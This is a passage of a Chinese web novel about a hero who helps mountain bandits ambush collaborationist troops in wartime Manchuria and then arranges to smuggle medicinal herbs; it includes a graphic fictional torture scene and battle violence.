独眼龙一开始表现的坚贞不屈,摆出一副老子根本不怕你的架势。 那麻子是一个老江湖,他暗中观察了一下独眼龙的相貌,便猜出他的身份肯定不是清风寨的小喽啰,至少应该是一个小头目。 那麻子冷笑一声,诱惑道:“只要你说出清风寨还有没有其他进入的通道,我不仅饶你一条性命,还奖赏你一百块大洋。” 独眼龙不是一个见钱眼开之人,他打小喜欢听水浒传的故事,自打加入清风寨以来,一直以英雄好汉自居。 面对区区一百块大洋的诱惑,他意志坚定地摇了摇头。 “老子不知道!” 那麻子笑了。 独眼龙没有说没有,而是说自己不知道,这在他的潜意识里已经承认清风寨有秘密通道的存在。 那麻子在投靠日本人之前也是土匪出身,他知道,对于一个山寨来说,肯定会有一条秘密进出的通道,作为危急时刻逃生之用。 “只要你肯说出来,我可以赏你二百块大洋!” 独眼龙冷笑一声,转过头去,选择沉默以对。 那麻子发狠道:“三百块大洋!” 独眼龙依然没有开口。 那麻子生气了! 自己本次带兵攻打清风寨,日本人都不一定能奖赏三百块大洋,这个人竟然如此不识好歹。 “好啊,”那麻子冷笑着拍了拍手,“果然是一个讲义气的人,我很佩服你啊!” 他向身后挥了挥手,命人把小土匪带到独眼龙跟前,当着他的面脱光小土匪身上的衣服,然后把他绑在一棵大树的树干上,并用绳子把他的嘴巴从后面狠狠地勒住。 “一刀一刀把他身上的肉给老子割下来,必须割够三千刀!” 一个伪满士兵狞笑着卸下一支步枪上的刺刀,开始割小土匪身上的肉。 一刀下去,鲜血直流。 小土匪痛不欲生却喊叫不出来,眼珠子瞪得像铜铃般大小。 他身上越用力,鲜血流得更快! 那股子血腥味直冲人的天灵盖! 独眼龙闭着眼不敢再看,那麻子便命人撑开他的双眼。 “割够他三千刀之后就会轮到你,现在你还是好好欣赏欣赏吧!哈哈哈……” “无耻!无耻至极!” 独眼龙痛骂着,那麻子则笑得更加肆意。 小土匪没有撑过三千刀,刚刚割了十几刀,他便痛得昏死过去。 “现在轮到你了!” 那麻子拿起一把刺刀,在独眼龙粗糙的脸上轻轻地划过,顿时鲜血直流。 独眼龙全身忍不住地发抖,他看着小土匪全身血肉模糊的样子,内心终于崩溃,最终选择了投降。 “我说,我说!” 独眼龙告诉那麻子,在清风寨后山的一个悬崖下,有一个斜向上的山洞与清风寨内相连,可以从那里潜入清风寨,里应外合。 那麻子听后欣喜不已,他当即命令一个连的士兵留下,凌晨一点主动发起对清风寨正面的进攻。 他让独眼龙带路,自己亲自带领另一个连的士兵前往清风寨后山,准备在正面进攻打响之后从后山山洞潜入进行偷袭,里应外合,一举歼灭清风寨。 清风寨门楼上。 李二狗若有所思地说道:“大哥,这时候派出去的人还没有回来,想来应该是被俘了。” 镇东北愤愤道:“他们死了是英雄,如果当了叛徒,老子一定活剐了他们。” 李二狗知道敌人的手段,土匪落到他们手中,根本顶不住三个回合。 “大哥,咱们山寨里有地雷吗?” “地雷?有啊,有不少咱们自己制造的地雷。” “那赶紧都拿出来,让兄弟们埋在寨门前的那片空地上。” 镇东北一直想的是如何做好防守不让敌人冲进来,完全没有想到进攻才是最好的防守。 把敌人全部消灭,山寨就安全了。 “二娃,你带人去把仓库里的地雷全部搬出来,埋在寨门前的那片空地上。” “大当家的,全部吗?咱们不过了?” 镇东北喝骂道:“少他娘的废话,赶紧去办!” 二娃走后,李二狗继续说道:“大哥,你给我三十名兄弟,我带着他们埋伏在路两旁的树林里,等你们这里拉响地雷之后,咱们前后夹击,定能将他们一网打尽!” 镇东北不禁眼前一亮。 “狗子兄弟,好主意啊,不过还是你留在寨门楼上指挥,我带着兄弟们出去埋伏。” “大哥,柱子和栓子兄弟都去了后山,还得你留在山寨坐镇指挥啊,我带人出去埋伏。” 镇东北说道:“狗子兄弟,这本来是我们山寨自己的事,与你无关,你能不惧危险来帮助我们,我们已经感激不尽,怎么还能让你出去冒险呢,这可万万使不得!” 李二狗没想到镇东北如此讲义气,不愧是清风寨的大当家。 “大哥,此时还分什么你我?寨在人在,我誓与山寨共存亡!你就交给兄弟吧。” 镇东北被李二狗的气魄征服了,初次见面却能不计较个人生死,这样的英雄气概自己也只能甘拜下风。 “狗子兄弟,等打败了敌人,我一定要和你结拜为兄弟。” “大哥,小弟求之不得!” 两只手紧紧地握在一起。 “狗子兄弟,有件事你得提前做好心理准备,咱们山寨的武器不仅老旧,弹药数量也十分有限,我怕到时候拦不住敌人。如果他们只是要逃下山,你一定不要强行阻拦。” 李二狗早就暗中观察了他们手中的武器,全都是一些老套筒、汉阳造,唯一的一挺轻机枪被调去了后山设伏。 “大哥,正面的这群敌人是佯攻,咱们只要打他们一个措手不及,你看这黑灯瞎火的,山路又陡峭,滚下山摔死的也会不计其数。” 李二狗的乐观并没有感染镇东北,他手下这群人是什么素质他自己心里非常清楚。 “兄弟,不管怎么样,千万不要硬来,只要能赶走他们就好。” 李二狗笑道:“大哥,咱们马上就要结拜为兄弟了,我不能空着手啊,一定要送你一个大大的见面礼。” 第498章 不是疯子就他娘的是个天才 “见面礼?什么见面礼?” “这些二狗子们手中的武器弹药啊,哈哈哈!” 镇东北彻底被李二狗征服了。 这个人不是疯子就他娘的是个天才! “兄弟,大哥佩服,我把战斗力最强的兄弟都交给你指挥。” 此时李二狗心中已经有了退敌之策,他摆手道:“大哥,战斗力最强的兄弟还是留在你身边,我只要那些战斗力弱的,老弱病残都无所谓。” 镇东北完全被李二狗说糊涂了,他这不是纯找死吗? “狗子兄弟,你这到底要干什么?这些敌人即使不是日本关东军,但他们手里的武器可都是日本人配发的,咱们可千万不能小觑了他们啊。” 李二狗微微一笑,说道:“大哥,别说他们不是日本鬼子,就是日本鬼子亲自来,我也定让他们有来无回。” 镇东北无言以对! 他心想,不管李二狗是疯了还是在吹牛,但他能在如此紧急的情形下还能保持如此乐观的心态,这一点就值得自己学习。 生死有命,富贵在天,还是尽人事听天命吧! “三娃、四娃,你们带领三十个兄弟听从狗子兄弟指挥,一定要保护好他的安全,他有任何闪失,我拿你们是问。” “遵命!” 镇东北转头看向李二狗:“狗子兄弟,你还有什么要求尽管提出来,我一定满足。” “大哥,没有了,一切就交给我吧,我这就下去准备。” “好,狗子兄弟,万事小心。” 李二狗带着三娃、四娃来到寨门下,那里已经集合了三十名土匪,其中不乏老弱病残。 “三娃。” “到!” “你带领十名兄弟,去灶房搬几袋子大豆、绿豆、豌豆之类圆形的粮食,隐藏在离山寨三百米外山路两旁的树林里,一定要隐藏好,不能暴露。” “大豆、绿豆、豌豆?” 三娃彻底懵逼了,难道他要撒豆成兵不成? “对,待会儿我会去你那里检查,执行吧!” 三娃尽管不明白,但也只能硬着头皮执行。 “四娃,山寨有没有鞭炮或者锣鼓之类的东西?要是没有,脸盆、菜盆也行。” 四娃同样一脸懵逼。 “鞭炮倒是有一些,狗哥,你要那个做什么?” “做什么我待会儿再告诉你,你现在马上带人把所有的鞭炮都带上,再带上一些铁桶、脸盆,埋伏在离山寨二百米外山路两旁的树林里,一定要隐藏好,别忘了带上洋火。” 四娃走后,李二狗看着剩下的十个人。 “大家把手里的枪放下,带上大刀长矛隐藏在离山寨四百米外山路两旁的树林里,一定要隐藏好,不能提前暴露。” 李二狗言罢,大家顿时议论纷纷。 “咱们的枪虽然旧了一些,但也比大刀长矛要强吧?” “对啊,哪有扔下枪拿刀杀敌的道理?” “这不是儿戏吗?” “打仗可不是儿戏啊!” …… 李二狗目光锐利地环视一圈,大家顿时安静下来。 “违反命令者,寨规从事!马上执行!待会儿我去检查!”李二狗抬起手指指了指一个身材高大的土匪,“这件事由你来负责!” 高个子开心不已,没想到一不小心竟成了小头领。 他大声喊道:“保证完成任务!” 大家各自散去之后,李二狗来到寨门前。 为了担心引起山下敌人的注意,大家在寨门前埋设地雷的时候并没有点亮火把。 “大家埋雷的时候一定要注意安全,现在不要挂弦!” 一个小头目说道:“大当家的都交待过了,等地雷全部埋完之后再挂弦。” “很好,挂完弦之后,告诉拉弦的兄弟,一定要看大当家的手势再拉弦。” “保证完成任务!” 李二狗拍了拍他的肩膀,向山下走去。 小头目摸了摸脑袋,喃喃自语道:“这人到底是谁啊?怎么气势比大当家的还强?” 李二狗就是天生自带领导气质! 他沿着山路来到二百米处,四娃已经带领大家埋伏在山路两旁的树林里。 他站在山路上看了看两侧,树林里黑幽幽的,什么也看不见。 这时,四娃从树林里钻了出来。 “狗哥,都按照你的吩咐准备好了。” 李二狗跟着四娃钻进树林,看到他们每个人手里都提着一个铁桶,旁边堆着很多鞭炮,有一个人手里还提着一个破锣。 李二狗笑了。 “四娃,待会敌人上山的时候,告诉兄弟们一定做好隐蔽,千万不能提前暴露,就是拉屎也要拉在裤子里。” 四娃立马对大家命令道:“大家听见没有,就是拉屎也要拉在裤子里,谁暴露了,寨规从事!”李二狗满意地点了点头,继续嘱咐道:“等山上地雷拉响之后,敌人肯定会逃下山,你们等他们靠近了再点燃鞭炮,一定要把声势造出来。” “但是一定要躲在树林里,千万不要露头,等到敌人全部下去之后,你再带领兄弟们去和三娃汇合。” “记住一点,只能追击到三娃那里,不许再往下去!” “狗哥,为什么?” “这是命令,你只管执行!” “放心吧,狗哥,保证完成任务。” 李二狗拍了拍四娃的肩膀,走出树林继续往山下走去。 来到三百米处,三娃从树林里钻了出来。 “三娃,等到敌人全部上山,地雷拉响之后,你让兄弟们把豆子全部洒在山路上,等到敌人靠近之后,就在树林里对敌人射击,千万不要追击,以免自己滑下山去。” “放心吧,狗哥,保证完成任务。” 李二狗沿着山路来到四百米处,大个子从树林里钻了出来,他手里拿着一把大砍刀,颇有几分侠客的气质。 “都准备好了吗?” “准备好了,等敌人上来的时候,我一定多砍几个敌人的人头。” 李二狗闻言哭笑不得。 “你去告诉弟兄们,敌人上来的时候都在树林里隐藏好,谁都不许露头,等敌人从山上跌下来的时候,你再带领大家出来砍瓜切菜!” “啊?跌下来?他们怎么会跌下来?” “别管他们怎么跌下来,等他们跌下来的时候你们必须一刀一个!一定不能让一个敌人逃下山!” “放心吧,狗哥,保证完成任务。” 李二狗安排妥当一切之后,悄悄往山下走去。 第499章 李二狗的担忧 李二狗潜伏在半山腰一棵高大的松柏上,此时月牙已从云层中悄悄露出了头。 他望向山下,树林里显得极其安静,但空气中弥漫的硝烟味道却更加浓郁。 李二狗低头看了看手表,已是凌晨十二点半。 他虽然不知道敌人具体会在什么时间发动进攻,但从他的经验判断,应该快了! 很可能会在凌晨一点钟! 虽然李二狗已经做了周密的安排,但他还是心里没底。 一来他不知道这股敌人到底是不是日本关东军,也不清楚他们这次到底来了多少人。 二来他不清楚清风寨这些人的战斗力到底怎么样,如果都是一些酒囊饭袋,就是自己做的部署再周密也无济于事。 此时他躲在这棵大树上,等敌人上山之后,他完全可以趁机溜走。 但李二狗绝不可能选择这样做! 正当他考虑出现各种意外情况该如何应对之时,山下树林里钻出众多的黑影,他们排成一字长蛇阵沿着山路往山上走来。 虽然看不清楚,但李二狗从队伍首尾的长度分析,应该有一个连的兵力。 据此分析,前往后山偷袭的应该也是一个连的兵力。 两个连的兵力,大约二百人左右,人数是清风寨的两倍。 李二狗顿时感觉到一股巨大的压力。 即使这些人不是日本关东军,但伪满军队中也有一些是原来东北军投降过去的汉奸,他们战斗力并不弱。 当这群人经过李二狗藏身大树的时候,他终于看清这群人确实不是日本关东军,他内心稍微松了一口气。 对付这些汉奸二狗子,即使清风寨的战斗力弱一些,但取得胜利的把握还是大了不少。 伪满军士兵在连长郭痦子的带领下悄悄向山上摸去。 在队伍到达半山腰的时候,郭痦子挥了挥手,示意大家停止前进。 他转头对一个军官说道:“戴排长,你亲自带两个人上去侦察侦察。” 戴野驴是伪满军的一个排长,他没想到如此危险的事情连长竟然会安排自己去,当下心里骂了郭痦子十八辈祖宗。 “你们两个跟我来。” 戴野驴带着两个同样心里骂他十八辈祖宗的士兵悄悄上了山。 其中一个士兵抱怨道:“排长,消灭一个小小的清风寨,用得着咱们这么大动干戈吗?还选择黑灯瞎火的时间,脚都冻麻了,实在是太受罪了!” 戴野驴骂道:“你他娘的懂个屁!这清风寨号称有上百号土匪,他们占据着天险,要是咱们白天发动进攻,你知道得死多少兄弟?” “那就架上迫击炮使劲轰呗,我就不信他们清风寨是铜墙铁壁?” 戴野驴一巴掌拍在他的脑袋上,喝骂道:“日本人给咱们营几门炮你他娘的心里没数吗?再说了,那迫击炮能从山下打到山上吗?不还得咱们兄弟冲锋陷阵?打仗得动脑子,你这个傻犊子!” 这名士兵被戴野驴又打又骂,不仅没恼,心里还和吃了蜜蜂屎一样开心。 打是亲,骂是爱,领导因为看重你才会打你骂你! “嘿嘿,还是排长厉害,你不说这些我都想不到。” 另一个士兵立刻恭维道:“要不然排长怎么能当咱们排长呢?你小子多学着点吧。” “是啊,嘿嘿,得跟排长学啊。” 戴野驴被他们一顿恭维,内心油然而生出一种优越感,同时也更加惜命。 “哎吆,我这肚子突然有点疼,你俩到上边去侦察一下情况,我在这里等你们回来。” 两个士兵知道戴野驴撒谎,但也不敢违拗,官大一级压死人,他们只好硬着头皮往上走。 戴野驴看他们走后,慢悠悠地站起来,解开腰带,脱下裤子,对着路边的一处密林就撒起了尿。 他也是迎风呲三米的汉子,这泡尿不偏不倚,正好呲到在此潜伏的三娃脑袋上。 三娃心中谨记着李二狗的吩咐,他趴在原地一动不敢动,一泡腥臊的陈年老尿全部淋在他的脑袋上。 那爽酸的味道,他差点当场吐出来。 戴野驴撒完尿,全身不禁打了一个冷颤。 他坐在一块石头上,对着双手哈了几口气,这寒冬腊月的夜晚,实在是太冷了。 他从口兜中掏出一盒烟,颤抖着抽出一支烟。 刚要点燃,突然想起了什么,赶忙把烟收了起来。 漆黑的夜里,一颗烟头的光亮足以让他命丧于此。 想到这,戴野驴吓出一身冷汗,他暗自庆幸自己的机警。 被淋了一头骚尿的三娃趴在离戴野驴不远的树林里,一动也不敢动,尿液顺着他的脸颊流到他的嘴唇上,他品尝到了一股咸咸的味道。 寒风吹来,仿佛在他脸上结了一层薄冰。 三娃有好几次想呕吐出来,都被他硬生生地吞咽回去。 他心中只有一个信念,绝不能暴露! 十分钟之后,两个士兵从山上小心翼翼地走了下来。 “你们他娘的怎么去了这么久?山上什么情况?” 一个士兵冻得说话都有些颤抖:“排长,寨门口只有两个人站岗,还靠在墙上睡着了。” 戴野驴没想到这群土匪竟然完全没有警惕性,真是活该被消灭。 “走,我们回去向连长报告。” 其中一个士兵讨好道:“排长,你肚子不疼了吧?” 戴野驴以为他在揶揄自己,一巴掌拍在他的脑袋上。 “你他娘怎么这么多废话?要是被土匪听见,让咱们暴露了,信不信老子一枪毙了你?” 这名士兵本想溜须拍马,没想到却被责骂,委屈的眼泪直在眼眶里打转。 他们回到半山腰,戴野驴跑步来到郭痦子跟前,谄媚地说道:“连长,我亲自带着他们到寨门前侦察了一下,现在他们寨门口只有两个人站岗,还睡着了,确实只是一群乌合之众!” 营长那麻子带领着另一个连的人去了清风寨后山搞偷袭,命令郭痦子带着自己连队的人在清风寨正面负责佯攻,对这个安排,他内心是极度不满的。 佯攻意味着没有功劳,他心知肚明。 第500章 有埋伏!快撤! 郭痦子忍不住抱怨道:“妈了个巴子,对付这么一群乌合之众还用得着里应外合吗?咱们那营长真是太谨慎了。” 戴野驴听出了郭痦子的不满,赶紧附和道:“连长说得对啊,就这么一群乌合之众,咱们连直接就能冲进去端了他们的老巢,哎,可惜啊,这么大的功劳就便宜他们一连了。” 郭痦子忿忿不平道:“营长真是偏心眼,有什么好事只想着他们一连,咱们二连都是后娘养的?让咱们二连打佯攻,这不明摆着看不起咱们二连吗?” 戴野驴经过这次侦察,对清风寨的鄙视又增加了几分,内心的底气也壮了许多。 “连长,营长虽然安排咱们二连负责佯攻,但如果咱们攻进了清风寨,难道还要再退回来吗?” 郭痦子闻言一拍大腿,笑得嘴都歪了。 “你他娘的这猪脑子还真好使,马上传令下去,待会儿上山之后给老子狠狠地打,务必一举攻下清风寨,回去老子重重有赏!” 戴野驴嘴咧得和棉裤裆似的,赶忙向郭痦子竖起了大拇指,赞道:“连长,高,实在是高!” “少他娘的废话,快到进攻时间了,赶紧命令兄弟们上山,告诉兄弟们,今晚谁他娘的要是怂包,老子毙了他!” 一行人沿着山路悄悄摸上了山,一路没有发现任何异常。 “连长,你看。” 郭痦子顺着戴野驴的手指看去,寨门口上只有两个灰暗的灯笼,在寒风中孤独地摇曳着。 灯笼下边站着两个土匪,他们斜靠在门上,睡得正香甜。 “戴排长,你带两个人悄悄摸过去干掉那两个看守。” 戴野驴在心中再次问候了郭痦子祖宗十八代,为什么这种事情总是让他去。 “你们两个跟我来!” 他们几个人刚要行动,门口站岗的一个土匪突然醒了过来。 “哎吆……” 他捂着肚子蹲在地上,表情非常痛苦。 另一个土匪醒了过来,不满地骂道:“你他娘的叫唤什么?把老子美梦都吵醒了!” “我肚子疼,太他妈的疼了!” 说着说着他竟躺在地上打起了滚。 “你小子可别吓我?我扶你到里面去休息一会。” 他赶忙上前扶起躺在地上痛得打滚的人,两个人消失在众人的视线里。 “真是踏破铁鞋无觅处,得来全不费工夫!” 戴野驴云山雾罩地绉了一句文词,带着两个人回到郭痦子身旁。 “连长,那俩废物进去了,咱们现在冲进去吧?” 郭痦子凝视着清风寨那扇黑漆漆的大门,总觉得这一切都太过容易了。 堂堂清风寨真得就这样弱不禁风吗? 戴野驴看了看手表,催促道:“连长,马上就到营长规定的时间了。” 郭痦子心想,绝不能让一连抢了先。 “戴排长,你带几个人先摸进去探探情况。” 戴野驴心里不由得再次咒骂郭痦子祖宗十八代。 他带着几个人再次摸到寨门下。 “你爬进去从里面打开门,其他人警戒。” 一个身瘦如猴的人灵活地攀上寨门,跳了进去。 山寨内一片漆黑,根本看不到一个人影。 他嘴角不自觉露出一丝笑容,从里面打开了寨门。 “排长,里面一个人都没有。” 戴野驴进入山寨看了看,冷笑道:“这群废物!快去告诉连长。” 很快,郭痦子便带领着人来到寨门前。 突然,寨门关闭了。 一连串枪声之后,戴野驴等人倒在血泊中。 郭痦子毕竟是行伍出身,听到枪声,立马意识到不对劲。 他大喝一声:“有埋伏!快隐蔽!” 话音未落,只听到寨门楼上有人大喝一声:“拉弦!” 霎那间,寨门前的空地上响起来惊天动地的爆炸声。 惊慌失措的伪满军士兵还没弄清楚是怎么回事,就被炸上了天。 胳膊、大腿、头颅满天飞…… “快撤!” 郭痦子在警卫员的掩护下,率先向山下逃去。 清风寨后山,隐藏在山洞里的那麻子听到外面的枪炮声,显得极其兴奋。 “张连长,郭连长那边已经打响了,肯定把清风寨的兵力全部都吸引到寨门那里,你现在带人冲进去,咱们里应外合,收玉米!” 一连连长张瘤子早就按耐不住激动的内心。 “营长,您就瞧好吧,这次肯定让清风寨鸡犬不留!” “张连长,待会别光顾着杀人,听说清风寨这些年搜集了不少金银财宝,你懂得……” 张瘤子咧着一口大黑牙,谄笑道:“嘿嘿,营长,我懂,您就放心吧。” “那还等什么?赶紧进去收玉米吧。” 这个秘密山洞从山脚下往上斜着通往悬崖的山顶,里面一级一级的台阶像天梯一般。 张瘤子指挥着手下的人一个个从山洞里往上爬。 出了山洞便是一块平地,先上来的人在平地上看到山下激战正酣,一个个摩拳擦掌、急不可耐地想要冲下山去建功立业。 殊不知,在他们周围,早有一支支黑洞洞的枪口对准了他们。 柱子和栓子早已带人埋伏在四周。 “二哥,狗哥之前特意交代,不要等他们全部出来在动手,我们现在是不是动手?” 柱子一直在心中默默数着从山洞出来人的数量,现在已经出来了四十多人。 “动手!” 刹那间,清风寨唯一一挺机枪率先喷出了火舌,手榴弹在人群中开了花。 “有埋伏!快撤!” 这些伪满军队一旦遇到埋伏,首先想到的永远是撤退! 一轮进攻下来,三十多名伪满士兵便丢了性命。 返身进入山洞的人和正在出来的人冲撞在一起,惊慌失措之中,好多人滚下台阶。 上面滚下来的人压着下面的人一起翻滚,很多人从高高的台阶上滚下去,当场摔死。 “一个也不要放过!” 柱子抱着一挺机枪,站在洞口对着里面就是一阵射击,慌乱中,张瘤子被踩成肉饼,独眼龙也死于非命。 那麻子牢牢地抓住山洞角落里的一个扶手,侥幸活了下来。 他带着十几个残兵败将落荒而逃。 第501章 鲜儿姑娘 与此同时,清风寨正门激战正酣! 郭痦子被地雷炸得昏头转向,他的选择和张瘤子出奇的一致,掉头就跑! 上山的时候他跟在队伍后面,下山的时候他一马当先,冲到了队伍最前面。 虽然天黑路滑,但他还是一口气跑出了三百米。 四娃按照李二狗事先制定的计划,等这群人过去之后,立即带人点燃了鞭炮。 放在铁桶里的鞭炮,那噼里啪啦声音比机关枪还响。 破锣、脸盆也同时敲了起来。 四娃躲在树林里大声喊道:“兄弟们,给我狠狠地打,一个也别放过!” 他们跑得更快了。 突然,冲在最前面的郭痦子脚底下一滑,身体前倾着滚下山去。 身后的几个人不知道前面发生了什么,愣神的功夫脚底下好像踩到什么圆乎乎的东西,纷纷站立不住,滚下山去。 后面枪炮声、喊杀声震天,不时有人中弹倒在地上。 他们不敢停留,拼了命的往山下冲,但都脚底一滑,纷纷滚下山去。 山路崎岖,这一滚就是一二百米,滚落到山崖下的人不在少数。 他们当中有很多人被活活摔死,少数幸存者也都摔得鼻青脸肿、断胳膊断腿。 当他们想躺在地上喘口气的时候,不知道什么时候突然从树林里冲出一群人。 这群人二话不说,抡起大刀、长矛就是一顿乱砍乱戳。 李二狗站在不远处,守护着最后一道防线,少数闯过重重关卡的人都惨死在他的枪下。 这一仗,除了那麻子带着十几个残兵侥幸逃脱之外,两个连的伪满士兵几乎被全歼,而清风寨只伤亡了数十人。 天亮了,镇东北站在寨门楼上,望着漫山遍野的伪满军士兵的尸体,仿佛一切都在梦中。 “狗子兄弟,这是真的吗?我简直不敢相信自己的眼睛!” 李二狗只是微笑不语。 柱子和栓子每人扛着一挺歪把子机枪,兴高采烈地爬上寨门城楼。 “大哥,太痛快了,我八辈子也没打过这么痛快的仗!” “是啊,大哥,你看咱们缴获的这些好东西,以后就是日本鬼子来,咱们也不怵他们!” 镇东北笑问道:“你们觉得这一仗谁的功劳最大?” 他们不约而同地看向李二狗。 “当然是狗哥。” “对,是狗哥。” 镇东北双手抱拳,一脸真诚地向李二狗说道:“狗子兄弟,这一次你为清风寨立了大功,救了众兄弟,我愿意让出寨主之位,请你一定答应加入清风寨,当我们山寨大当家的。” 柱子、栓子和镇东北是结义兄弟,虽然他们很了解镇东北的脾气秉性,但也没想到他竟然会让出寨主之位。 两人面面相觑,虽然内心非常佩服李二狗的才干,但也不敢轻易表露自己的态度。 “大哥,这可万万使不得啊,我李二狗何德何能,怎敢取代你的寨主之位?” 镇东北真诚地说道:“兄弟,我是真心诚意地邀请你加入清风寨,请你一定不要拒绝我。” 李二狗的实力又怎能允许他留在关外一个小小的清风寨当寨主! “大哥,我真的不能加入你们清风寨。” “怎么?狗子兄弟难道看不上我们清风寨吗?” “大哥,你千万别误会,我是关内一个生意人,此次到东北是为了进货。” “进货?” 镇东北有些狐疑地看着李二狗,一个生意人又怎会有如此运筹帷幄的本领? “是啊,大哥,我此次上山是为了求你们帮忙的。” 镇东北这才明白李二狗的来意,原来他是来请求清风寨帮他走私物品的。 柱子说道:“大哥,咱们都累了一晚上,还是回去边吃边谈吧。” “好,”镇东北一把拉住李二狗的手,“狗子兄弟,虽然你不愿意加入清风寨,但咱们一定要结拜为兄弟才行。” 李二狗也被镇东北豪爽的性格所吸引。 “大哥,小弟求之不得。” 几个人回到聚义堂。 三杯五杯下了肚,有些醉意的镇东北再次提起结拜之事。 李二狗欣然应允。 四个人来到关公像前,几个头磕在地上,正式结拜为异姓兄弟。 “不求同年同月同日生,但求同年同月同日死!” “哥,你没事吧?” 正当众人喝得耳酣脸热之时,一个长相清秀的女子出现在聚义堂。 “妹子,你怎么回来了?” “哥,我听说清风寨被日本人围剿,就赶回来了。” “傻妹子,这时候你还敢回来?我和你说过很多遍,不要轻易上清风寨,有事情我会派人去奉天城找你。” “人家只是担心你嘛。” 李二狗看这姑娘,生得极是明艳标致。 肤色是风雪养出的莹白,不见半点粗粝,眉眼却自带北方特有的爽朗风骨。 一双杏眼清亮灵动,眼尾微微上扬,眸光澄澈又果敢,不似江南女子柔婉,自有一股英气。眉峰利落秀气,鼻梁挺翘端正,唇瓣丰润饱满,不点而朱。 青丝挽起,碎发衬得下颌线条柔和,脸型匀净耐看。 身姿挺拔舒展,既有东北少女天生的大气爽朗,容貌秾丽不俗,兼具温婉与飒爽。 风霜没磨去她的秀美,反倒让这份美丽鲜活热烈,落落大方,一眼望去,风华天然,格外动人。 “狗子兄弟,我来给你介绍,这是我妹子鲜儿。鲜儿,这位是狗子兄弟,昨晚多亏了他,不然你都不一定还能见着大哥。” 李二狗微笑道:“鲜儿姑娘,你好。” 鲜儿是镇东北的亲妹子,在奉天城一所小学教书,人虽然长得清秀,平时却是一副大大咧咧的性格。 今天不知道是何缘故,她见到李二狗竟有些扭捏,尚未开口,脸却红了。 镇东北见鲜儿不回话,以为她没听见,便说道:“妹子,我刚和狗子兄弟结拜为兄弟,他也是你哥哥,快叫哥哥。” 鲜儿的脸颊红彤彤的就像东北深山老林里的一个红苹果,她看了一眼李二狗,羞涩地低下头。 “哥哥。” “哈哈,鲜儿妹子竟然也知道害羞?我还从来没见过她害羞。” “哈哈哈……” 众人哄笑起来,鲜儿的脸更红了。 “你们笑什么?哼!” 鲜儿抬头看了一眼李二狗,红着脸低着头快速跑走了。 李二狗太熟悉女人看自己的这种眼神了。 第502章 拉郎配 望着鲜儿美丽的背影,李二狗突然觉得她的容貌长得特别像慕容雪,尤其是她眉眼之间,就像和慕容雪是一个模子刻出来的一般。 慕容雪也是东北人,李二狗心想,难道她们是…… 不过慕容雪的哥哥是东北军的军官,已经战死在战场,而鲜儿的哥哥是镇东北,是清风寨的土匪头子。 两人又怎么会是姐妹呢? 想到这,李二狗嘴角不自觉地露出一丝苦笑,他笑自己最近为什么总是陷入到这种魔怔之中。 因为这种魔怔,他已把孙小雨伤得遍体鳞伤。 细算起来,他和慕容雪只见过两次面,说过的话加起来也许都不超过一百句,不知道为何自己心中却总是对她念念不忘。 也许真是应了那句古话,得不到的才是最好的。 镇东北见李二狗看着鲜儿的背影出神,心下一喜,不禁想到,鲜儿年纪也不小了,一直没有找到合适的对象,这个李二狗能文能武,长相又是如此出众,倒是一个非常合适的人选。 “狗子兄弟,狗子兄弟。” 镇东北连喊了两声,李二狗才回过神来。 “啊?大哥,你喊我?什么事?” 柱子和栓子都未娶妻,两人都喜欢美丽的鲜儿,可鲜儿根本看不上他们这样的乡野村夫。 几次试探之后,他们也就死了心。 鲜儿这样一块鲜嫩多汁的肥羊肉不可能掉进他们的狗嘴里。 但是现在看到鲜儿在李二狗面前露出那种少女独有的羞涩模样,内心还是不免有些吃醋。 但李二狗是他们的救命恩人,无论从相貌还是能力上都比他们强千倍万倍不止,鲜儿喜欢这样的男人,他们输得心服口服。 “兄弟,你觉得我妹子鲜儿怎么样?” 看着镇东北笑呵呵的表情,李二狗立马明白了他的意思。 这是要拉郎配啊! 虽然李二狗很喜欢鲜儿这样的女人,但他的女人实在是太多了,他现在都有些自顾不暇,万万不能再去撩动少女的情怀。 “大哥,鲜儿是个好妹子。” “狗子兄弟,我的意思是你觉得鲜儿和你……,咱们是兄弟,我有话就直说了,鲜儿她年纪也不小了,你懂我的意思吗?” 李二狗忙说道:“大哥,你的意思我懂,但我已有婚配,实在不是一个合适的人选,鲜儿妹子这么漂亮,她应该找一个真心实意待她的男人。” 镇东北表情微微有些错愕,但他不想让鲜儿错过这样一个优秀的男人。 “兄弟,男子汉大丈夫,三妻四妾也是常有的事,只要你对她好……” “大哥,这可万万不可啊!我不能害了咱妹子不是?来,大哥,咱们继续喝酒。” 柱子和栓子闻言,心中对李二狗愈加佩服,面对送上门的美女他都能不为所动,这个男人在他们心中简直是神一般的存在。 “大哥,有件事还得求你帮帮兄弟。” “狗子兄弟,咱们现在是自家兄弟,还说什么求不求的?是不是你想走私关外的一些货物去关内?” “大哥,什么都瞒不过你的眼睛,被你猜中了,我在奉天购买了一批中药材,想尽快运到关内去。” 镇东北原以为是武器弹药或者西药等稀缺物资,没想到却是平常无奇的中药材。 “中药材?兄弟,什么中药材你还得到关外来买?” “淫羊藿。” “淫羊藿?这是什么药材?” 镇东北只知道东北三宝,这个淫羊藿还是第一次听说,一听名字就不是个好东西。 柱子在旁边插嘴道:“哎呀,大哥,淫羊藿你都没听过?是壮阳用的,男人吃了可以金枪不倒,哈哈!” “奥,难道这种中药材在关内没有?” 李二狗只好解释道:“大哥,这种中药材关内也产,但现在在市场上已经买不到,我只好到关外来买,但伪满洲国政府规定,这种中药材不许卖到关内去。” “妈了个巴子的,中药材都不让卖,都拿去孝顺他们日本爹了!兄弟,你放心,往关内的路线柱子栓子他们都熟悉的很,运出去问题不大。” 柱子说道:“大哥,栓子的伤还没好利索,我自己带人去吧。狗哥,明天我就跟你下山。” 李二狗起身拱手道:“谢谢大哥和两位兄弟,可此事非常紧迫,等不了明天了,现在我就得下山。” 镇东北舍不得李二狗离开,忙挽留道:“狗子兄弟,这么着急吗?不差这一天,我还想和你一醉方休呢。” 李二狗笑道:“大哥,咱们兄弟来日方长,这件事真得特别急,我必须现在就得赶回奉天城。” 柱子说道:“狗哥,你这批货物有多少?我好心里有数。” “两万斤。” 柱子若有所思地点了点头。 “好,我今天晚上就带人过去找你,咱们先把货物运到营口,在营口装上船再运到关内去。” “走海路?” “对,走海路。” 看李二狗有些怀疑,柱子笑道:“狗哥,你就放心吧,这条海运线已经被咱们花钱买通了,很安全的。” 李二狗明白有钱能使鬼推磨的道理,在这方面他是泰山北斗级的人物。 “那在哪里卸货?我好提前准备。” “在黄骅港正北方向五公里处有一个废弃的码头,我们的货船都在那里靠港卸货。” 李二狗这才彻底放下心来。 